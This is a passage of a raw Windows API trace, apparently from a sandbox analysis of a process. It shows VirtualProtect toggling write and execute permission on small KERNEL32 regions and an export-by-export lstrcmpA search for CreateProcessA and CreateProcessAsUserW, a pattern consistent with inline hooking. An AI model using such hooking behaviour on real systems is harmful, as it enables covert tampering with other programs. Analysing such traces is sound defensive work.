dwFlags=0x0, lpMem=0x241ed00 | out: hHeap=0x2020000) returned 1 [0079.315] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x20) returned 1 [0079.339] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x40) returned 1 [0079.339] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x40) returned 1 [0079.340] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed00, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed00, ReturnLength=0x0) returned 0x0 [0079.340] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.340] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241ece0 [0079.340] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0079.340] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0079.341] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0079.349] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0079.350] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0079.351] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0079.352] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0079.352] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x2) returned 1 [0079.352] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ed50 [0079.352] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x18) returned 0x241ed70 [0079.353] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ed50 | out: hHeap=0x2020000) returned 1 [0079.353] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x241ed70 | out: hHeap=0x2020000) returned 1 [0079.353] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x20) returned 1 [0079.353] VirtualProtect (in: lpAddress=0x770dbc0e, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x27ed60 | out: lpflOldProtect=0x27ed60*=0x40) returned 1 [0079.353] VirtualProtect (in: lpAddress=0x770e02f4, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x27ed68 | out: lpflOldProtect=0x27ed68*=0x40) returned 1 [0079.353] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ed00, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ed00, ReturnLength=0x0) returned 0x0 [0079.353] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0079.353] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x241ed50 [0079.353] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0079.353] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0079.353] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0079.354] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0079.355] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0079.356] lstrcmpA (lpString1="ContinueDebugEvent", 